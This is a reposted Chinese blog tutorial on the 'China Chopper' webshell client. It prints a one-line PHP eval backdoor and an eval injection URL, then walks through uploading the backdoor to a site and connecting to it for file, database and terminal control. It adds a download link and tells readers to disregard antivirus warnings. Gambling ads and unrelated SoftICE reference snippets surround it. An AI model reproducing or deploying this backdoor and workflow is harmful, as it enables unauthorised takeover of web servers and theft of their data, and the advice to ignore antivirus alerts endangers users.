??斗地主捕鱼电竞提现秒到 广告位招租 - 15元/月全站展示
??支付宝搜索579087183领大额红包 ??伍彩集团官网直营彩票
??好待遇→招代理 ??伍彩集团官网直营彩票
??络茄网 广告位招租 - 15元/月全站展示
中国菜刀的功能介绍和使用方法(黑站利器与后门利用测试工具)

转载   佚名   2014-05-09   浏览量:440


中国菜刀,一个非常好用而又强大的webshell,它可不是用来切菜的做饭的道具哦,是一款专业的网站管理软件,大小只有300多KB,真是小巧实用??!不过被不法分子利用到,就是一个黑站的利器了。我记得以前接触的时候摸索了好久才会用,哈哈。。后来领悟之后才发现并不难操作,同时功能也比我想象的要强大。

注:单独的菜刀没有效果,需要服务器端有一句话后门,或漏洞,例如这样的

//127.0.0.1:89/mingfang/index.php?q=${${@eval%28$_POST[cmd]%29}}

配置图:

1.中国菜刀支持的服务端脚本:PHP、ASP、asp.net;

2.主要功能有:文件管理(有足够的权限时候可以管理整个磁盘/文件系统),数据库管理,虚拟终端。

3.菜刀的工作原理是:利用上传到服务器的一句话脚本再通过一些添加配置就可以工作了。

今天我只介绍PHP的方法(其他的大同小异)。

首先:我们首先要新建一个php文件,文件名随意取,然后写入一句代码:

<?php eval($_POST['ee']); ?>

 ;eval()这个函数大家并不陌生吧,就是把里面的字符串作为PHP代码执行。最后把这个文件保存,上传到你站点里面,可以是根目录,也可以是其他,都行的。如下图:

第二步:打开菜刀这个软件,进入如下界面,右键点击“添加”;如下图:

第三步:此时会弹出一个添加shell的对话框,由图一看出我的 “dxr.php”上传在站点根目录,所以这里的地址填为://localhost/dxr.php 。地址后面的小框框里面的“ee”就是你的“口令”,也就是

<?php eval($_POST['ee']); ?>

这里的“ee”。下面配置项如果你知道用户名密码就填,不知道,不填,也不会影响文件管理和虚拟终端这两个功能,只是不能查看数据库了。

最后:点击“添加”按钮,成功后就会产生一条新的记录,鼠标右键点击就可以进行操作了,如下图,可以进行文件管理,数据库管理,虚拟终端。哈哈...大功告成??!

   

所以很多黑站者利用一些网站漏洞,上传一句话木马后,就基本上可以黑下你的站了。中国菜刀,就是这么强大??!

操作效果截图一:

 

操作效果截图二:

 

操作效果截图三:


菜刀下载://www.kbyp.net/softs/163997.html

终于写完了,喜欢的话就支持一下哦,代潇瑞博客,专注于PHP学习??!

最后说明一下:此软件打开时杀毒软件可能会报毒的,我已经用了很多遍,反正都没事。如果你不相信的话,也就不用下载了,呵呵。

原文参考://www.daixiaorui.com/read/17.html

转载自://www.jb51.net/hack/164013.html

招聘 不方便扫码就复制添加关注:程序员招聘谷,微信号:jobs1024



SoftICE for WIN95中文命令解说(一)
SoftICE for WIN95中文命令解说(一) Copyright (c) 1999 //coobe.cs.hn.cninfo.net/~tianwei 命令: . 作用: 在代码窗口中定位当前指令 语法: . 用法: 当代码窗口可见时, .命令(点命令)使得当前的CS:EIP所指向的指令可见, 并且高亮显示. 另外,此命令也把SoftI
SoftICE for WIN95中文命令解说(三)
SoftICE for WIN95中文命令解说(三) Copyright (c) 1999 //coobe.cs.hn.cninfo.net/~tianwei 命令: BPINT 作用: 在某个中断向量上下断点 语法: BPINT int-number [IF expression][DO "command1;command2;..."] 用法: int-number : 中断向量号,
SoftICE for WIN95中文命令解说(二)
SoftICE for WIN95中文命令解说(二) Copyright (c) 1999 //coobe.cs.hn.cninfo.net/~tianwei 命令: BC 作用: 清除一个或多个断点 语法: BC list | * 用法: 清除断点后,用BL命令就看不到断点列表, 且被清除的断点不再起作用.参数: list: 可以是将要清除的一
SoftICE for WIN95中文命令解说(五)
SoftICE for WIN95中文命令解说(五) Copyright (c) 1999 //coobe.cs.hn.cninfo.net/~tianwei 命令: DATA 作用: 显示另一个数据窗口 语法: DATA [window-number] 用法: window-number: 所要选择的窗口号,0,1,2,3SoftICE最多支持4个数据窗口.每一个窗口可以
SoftICE for WIN95中文命令解说(四)
SoftICE for WIN95中文命令解说(四) Copyright (c) 1999 //coobe.cs.hn.cninfo.net/~tianwei 命令: C 作用: 比较内存中两块区域的内容 语法: C start-address l length start-address-2 用法: start-address : 第一块内存区域的开始地址length :
SoftICE for WIN95中文命令解说(六)
SoftICE for WIN95中文命令解说(六) Copyright (c) 1999 //coobe.cs.hn.cninfo.net/~tianwei 命令: FAULTS 作用: 打开或关闭错误跟踪功能 语法: FAULTS [on | off] 用法: FAULTS 命令将打开或关闭SoftICE的错误跟踪功能.不加参数将显示当前的开关状态.
SoftICE for WIN95中文命令解说(八)
SoftICE for WIN95中文命令解说(八) Copyright (c) 1999 //coobe.cs.hn.cninfo.net/~tianwei 命令: I1HERE 作用: 遇到内嵌的INT 1指令时激活SoftICE 语法: I1HERE [on | off] 用法: I1HERE 命令使SoftICE在遇到程序中内嵌的INT 1指令时弹出.I1HERE在调试
SoftICE for WIN95中文命令解说(七)
SoftICE for WIN95中文命令解说(七) Copyright (c) 1999 //coobe.cs.hn.cninfo.net/~tianwei 命令: H 作用: 显示帮助信息 语法: H [command] 用法: 键入 H 命令不带任何参数将显示所有命令的帮助. 要获得详细的帮助,在 H 后加命令名就可.详细的帮助将包括
SoftICE for WIN95中文命令解说(十)
SoftICE for WIN95中文命令解说(十) Copyright (c) 1999 //coobe.cs.hn.cninfo.net/~tianwei 命令: PAGE 作用: 显示页表信息 语法: PAGE [address [L length]] 用法: address : 段:偏移量 或 选择符:偏移量 格式的地址length : 要显示页的数量.PAGE 命令
SoftICE for WIN95中文命令解说(九)
SoftICE for WIN95中文命令解说(九) Copyright (c) 1999 //coobe.cs.hn.cninfo.net/~tianwei 命令: M 作用: 传送数据 语法: M source-address l length dest-address 用法: source-address: 源数据的起址;length : 要传送的字节长度;dest-address